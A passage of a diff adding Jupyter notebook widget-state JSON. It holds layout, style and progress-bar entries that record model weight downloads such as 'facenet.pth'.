+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2fee0c2fcb3b4705ad4cc212d6138ec9": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3005ddef183645cbb3039da2a621ebf4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "30408dcf6dd14e27bab9cc06cc664c4c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "304e7a7a38834b3093002b6694c7cb67": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "308c9dc88e034f4bbcb4ee24628694ba": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3097e4c3b53e4343a9ed6860b8d3d033": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_344e28ed2fc344f4ad5ab6f62a042631",
+            "placeholder": "​",
+            "style": "IPY_MODEL_dc495adaeb53477d903ce952060e4f3f",
+            "value": " 1.06M/1.06M [00:00&lt;00:00, 1.51MB/s]"
+          }
+        },
+        "30cdb95dd5d746b1adacaaf823b21b89": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2fee0c2fcb3b4705ad4cc212d6138ec9",
+            "placeholder": "​",
+            "style": "IPY_MODEL_5f012cede7a0405fbb12550072bccbc2",
+            "value": " 490M/490M [00:01&lt;00:00, 263MB/s]"
+          }
+        },
+        "312f1ce28d144f8e828d5d33c0783a58": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_36aae82533a5470abfa287df328448fc",
+              "IPY_MODEL_7afd5032c0964fc5823189e2fc8599ed",
+              "IPY_MODEL_944390d866cf430fbd562fca7781a9d9"
+            ],
+            "layout": "IPY_MODEL_66f7c6f267864c929727fd96a83e6d06"
+          }
+        },
+        "3282a8068816447285333083b4c8fe96": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2c260ce7a89840e3857942d9294f9321",
+              "IPY_MODEL_eba07e4598814b6cb22ba58d16587cf3",
+              "IPY_MODEL_cfe9f9f05cb8493f804cd521a3e3c1c1"
+            ],
+            "layout": "IPY_MODEL_b3418378805c4029aa6e6b939ae3c84b"
+          }
+        },
+        "32bb55abea4f4ea2a7ea8a28a45eeb16": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "335f1c1d85ec4723b8796b79d518c7be": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f9f461994c7e41aba3124dd5ee0b1525",
+            "placeholder": "​",
+            "style": "IPY_MODEL_3e7b34f2b1764dbb82caaf245771abc0",
+            "value": "Downloading facenet.pth: 100%"
+          }
+        },
+        "33c23b5b6adf403dba45e9f8e64e37dc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "33ef3f5248c14c4f8dd2d4a7bf0038a9": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "344e28ed2fc344f4ad5ab6f62a042631": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "352a7d961cac483a82ea16cdb77a0368": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_20285260958f4620b906e7a21f44c555",
+              "IPY_MODEL_85caf1e9b73e46cea1ce2c4ebf92554b",
+              "IPY_MODEL_23460450a39c44e488bce836dac8b997"
+            ],
+            "layout": "IPY_MODEL_261e963568fc4a24af694276311c3b18"
+          }
+        },
+        "35aa99e07e7d469ba9a46d80bb9908bb": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "35bd707e26044bd1a361c2fc2c11ea29": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "365b7759e93949dd891bacc424e797f3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "36aae82533a5470abfa287df328448fc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2e3313ac79794a18a38a6b98c0f4f28a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_77ad5edb54bb4e30bdd82186e80367c8",
+            "value": "100%"
+          }
+        },
+        "36de2037f4b841afb366f27a7eb08396": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "373d310d37454a409b53c30e7d7d1de5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "38dd90648c1949b196ebf27fb21436ba": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "38eb1d06f0094645944b5d305b575927": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3ae595d0044944ea959d949d8c68d509": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3b2265f2c01844fb9c99e18c61344d69": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3b250841cf664fcd8a57fb25d23b29ee": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3bdc5d0f6e324afaae6d5a4aabff98d2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "3bf3dd9f53354c758187674b5b1eac19": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3c2af8d5617b4b878b2e68f3fc7ebff6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_9f4a6f9a897c4db0a8d92bf01f3f820c",
+            "max": 3438167540,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_88e4029063f44ce5a7e89e8f17664eeb",
+            "value": 3438167540
+          }
+        },
+        "3cdb72138ffe4261a6cfcd9bcf4776c4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3da34455151b42319fc32e56afeb7959": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_965fb38eae6a45678d87fc3e24eb5241",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0da3c6cd22da482c88af347dcbdf0d8e",
+            "value": " 335M/335M [00:03&lt;00:00, 83.6MB/s]"
+          }
+        },
+        "3deaa7c9f0c940c3af3b9a7c5d0c8de4": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3e55680d33db47099479572d0c8915f2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a94d5d8411844431bb022813d14461c0",
+            "max": 743,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_161da25b295b4afa8f8b88507818d052",
+            "value": 743
+          }
+        },
+        "3e7b34f2b1764dbb82caaf245771abc0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3ff34cbabc564abebd12a9e5e19786b0": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_02648abd8847434496722b0c5bb69858",
+            "max": 334643276,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_e3b2deb57c0644dcbf97297abf22f91c",
+            "value": 334643276
+          }
+        },
+        "40ef1d0b44164265bea4eea32ce1b907": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_72d25c37112c403eaf801833a03a47b2",
+            "max": 334643276,
